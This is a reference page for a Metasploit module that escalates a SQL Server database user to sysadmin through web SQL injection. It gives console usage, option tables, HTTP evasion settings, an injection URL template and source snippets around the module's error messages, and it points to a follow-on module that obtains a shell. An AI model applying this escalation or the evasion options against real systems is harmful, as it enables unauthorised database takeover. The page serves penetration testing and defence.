Microsoft SQL Server SQLi Escalate Db_Owner - Metasploit
This page contains detailed information about how to use the auxiliary/admin/mssql/mssql_escalate_dbowner_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft SQL Server SQLi Escalate Db_Owner
Module: auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
Source code: modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module can be used to escalate SQL Server user privileges to sysadmin through a web SQL Injection. In order to escalate, the database user must to have the db_owner role in a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin role, the mssql_payload_sqli module can be used to obtain a shell on the system. The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
msf auxiliary(mssql_escalate_dbowner_sqli) > show targets
... a list of targets ...
msf auxiliary(mssql_escalate_dbowner_sqli) > set TARGET target-id
msf auxiliary(mssql_escalate_dbowner_sqli) > show options
... show and set options ...
msf auxiliary(mssql_escalate_dbowner_sqli) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/mssql/mssql_escalate_dbowner_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
msf6 auxiliary(admin/mssql/mssql_escalate_dbowner_sqli) > show info
Name: Microsoft SQL Server SQLi Escalate Db_Owner
Module: auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
nullbind <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE no Cookie value
DATA no POST data, if necessary, with [SQLi] indicating the injection
GET_PATH / yes The complete path with [SQLi] indicating the injection
METHOD GET yes GET or POST
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
This module can be used to escalate SQL Server user privileges to
sysadmin through a web SQL Injection. In order to escalate, the
database user must to have the db_owner role in a trustworthy
database owned by a sysadmin user. Once the database user has the
sysadmin role, the mssql_payload_sqli module can be used to obtain a
shell on the system. The syntax for injection URLs is:
/testing.asp?id=1+and+1=[SQLi];--
References:
http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx
Module Options
This is a complete list of options available in the admin/mssql/mssql_escalate_dbowner_sqli auxiliary module:
msf6 auxiliary(admin/mssql/mssql_escalate_dbowner_sqli) > show options
Module options (auxiliary/admin/mssql/mssql_escalate_dbowner_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE no Cookie value
DATA no POST data, if necessary, with [SQLi] indicating the injection
GET_PATH / yes The complete path with [SQLi] indicating the injection
METHOD GET yes GET or POST
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/mssql/mssql_escalate_dbowner_sqli auxiliary module:
msf6 auxiliary(admin/mssql/mssql_escalate_dbowner_sqli) > show advanced
Module advanced options (auxiliary/admin/mssql/mssql_escalate_dbowner_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HEX2BINARY /opt/metasploit-framework/embedded/framework/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/mssql/mssql_escalate_dbowner_sqli module can do:
msf6 auxiliary(admin/mssql/mssql_escalate_dbowner_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/mssql/mssql_escalate_dbowner_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/mssql/mssql_escalate_dbowner_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to grab user name...
Here is a relevant code snippet related to the "Unable to grab user name..." error message:
28: def run
29: # Get the database user name
30: print_status("Grabbing the database user name from ...")
31: db_user = get_username
32: if db_user.nil?
33: print_error("Unable to grab user name...")
34: return
35: else
36: print_good("Database user: #{db_user}")
37: end
38:
Couldn't retrieve user status, aborting...
Here is a relevant code snippet related to the "Couldn't retrieve user status, aborting..." error message:
39: # Grab sysadmin status
40: print_status("Checking if #{db_user} is already a sysadmin...")
41: admin_status = check_sysadmin
42:
43: if admin_status.nil?
44: print_error("Couldn't retrieve user status, aborting...")
45: return
46: elsif admin_status == '1'
47: print_error("#{db_user} is already a sysadmin, no esclation needed.")
48: return
49: else
<DB_USER> is already a sysadmin, no esclation needed.
Here is a relevant code snippet related to the "<DB_USER> is already a sysadmin, no esclation needed." error message:
42:
43: if admin_status.nil?
44: print_error("Couldn't retrieve user status, aborting...")
45: return
46: elsif admin_status == '1'
47: print_error("#{db_user} is already a sysadmin, no esclation needed.")
48: return
49: else
50: print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
51: end
52:
No databases owned by sysadmin were found flagged as trustworthy.
Here is a relevant code snippet related to the "No databases owned by sysadmin were found flagged as trustworthy." error message:
52:
53: # Check for trusted databases owned by sysadmins
54: print_status("Checking for trusted databases owned by sysadmins...")
55: trust_db_list = check_trust_dbs
56: if trust_db_list.nil? || trust_db_list.length == 0
57: print_error("No databases owned by sysadmin were found flagged as trustworthy.")
58: return
59: else
60: # Display list of accessible databases to user
61: print_good("#{trust_db_list.length} affected database(s) were found:")
62: trust_db_list.each do |db|
Fail buckets, the user doesn't have db_owner role anywhere.
Here is a relevant code snippet related to the "Fail buckets, the user doesn't have db_owner role anywhere." error message:
66:
67: # Check if the user has the db_owner role in any of the databases
68: print_status("Checking if #{db_user} has the db_owner role in any of them...")
69: owner_status = check_db_owner(trust_db_list)
70: if owner_status.nil?
71: print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
72: return
73: else
74: print_good("#{db_user} has the db_owner role on #{owner_status}.")
75: end
76:
Fail buckets, something went wrong.
Here is a relevant code snippet related to the "Fail buckets, something went wrong." error message:
80:
81: admin_status = check_sysadmin
82: if admin_status && admin_status == '1'
83: print_good("Success! #{db_user} is now a sysadmin!")
84: else
85: print_error("Fail buckets, something went wrong.")
86: end
87: end
88:
89: def get_username
90: # Setup query to check for database username
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5059 Merged Pull Request: Yard doc corrections
- #4373 Merged Pull Request: fix invalid URI scheme
- #4325 Merged Pull Request: Minor title change for mssql_enum_domain_accounts_sqli
- #4040 Merged Pull Request: Added module mssql_escalate_dbowner_sqli
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/mssql/mssql_enum
- auxiliary/admin/mssql/mssql_enum_domain_accounts
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/admin/mssql/mssql_enum_sql_logins
- auxiliary/admin/mssql/mssql_escalate_dbowner
- auxiliary/admin/mssql/mssql_escalate_execute_as
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/mssql/mssql_exec
- auxiliary/admin/mssql/mssql_findandsampledata
- auxiliary/admin/mssql/mssql_idf
- auxiliary/admin/mssql/mssql_ntlm_stealer
- auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
- auxiliary/admin/mssql/mssql_sql
- auxiliary/admin/mssql/mssql_sql_file
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/mssql/mssql_login
- auxiliary/scanner/mssql/mssql_ping
- auxiliary/scanner/mssql/mssql_schemadump
- exploit/windows/mssql/mssql_clr_payload
- exploit/windows/mssql/mssql_linkcrawler
- exploit/windows/mssql/mssql_payload
- exploit/windows/mssql/mssql_payload_sqli
- post/windows/gather/credentials/mssql_local_hashdump
- post/windows/manage/mssql_local_auth_bypass
- exploit/windows/mssql/lyris_listmanager_weak_pass
- exploit/windows/mssql/ms02_039_slammer
- exploit/windows/mssql/ms02_056_hello
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli
- auxiliary/server/capture/mssql
- auxiliary/admin/http/typo3_news_module_sqli
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
Authors
- nullbind <scott.sutherland[at]netspi.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.